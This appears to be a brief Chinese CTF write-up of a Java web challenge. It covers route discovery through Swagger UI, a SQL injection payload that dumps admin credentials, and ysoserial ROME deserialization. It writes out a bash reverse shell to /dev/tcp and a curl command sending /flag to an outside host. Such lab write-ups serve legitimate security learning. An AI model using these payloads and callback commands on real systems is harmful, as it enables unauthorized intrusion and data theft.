源码中给了提示:
Swagger UI:提供了一个可视化的UI页面展示描述文件。接口的调用方、测试、项目经理等都可以在该页面中对相关接口进行查阅和做一些简单的接口请求。该项目支持在线导入描述文件和本地部署UI项目。
搜索一波默认目录
发现存在
/swagger-ui.html
一共有这三个路由
审计源码发现sqlDict类中有个sql注入
这是一个JDBC sql注入
payload
myapp#' union select 1#
为什么这样能,放上这位师傅的博客
讲解
把用户密码注出来
admin/admin@Rrrr_ctf_asde
拿去登录
发现响应头里有一段经过base64编码的java反序列化的内容
将这段内容拿去current页面验证
后面不会做了,万万没想到这题居然可以拿ysoserial直接打
这个工具集成了所有的java反序列化工具
这题是用ROME打的
想尝试弹shell
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
看到一个网址专门针对这种情况做了解决
网址
java -jar ysoserial.jar ROME "那个网址给的payload" |base64
当然还可以用curl来进行外带
java -jar ysoserial.jar ROME "curl http://ip:port -d @/flag" |base64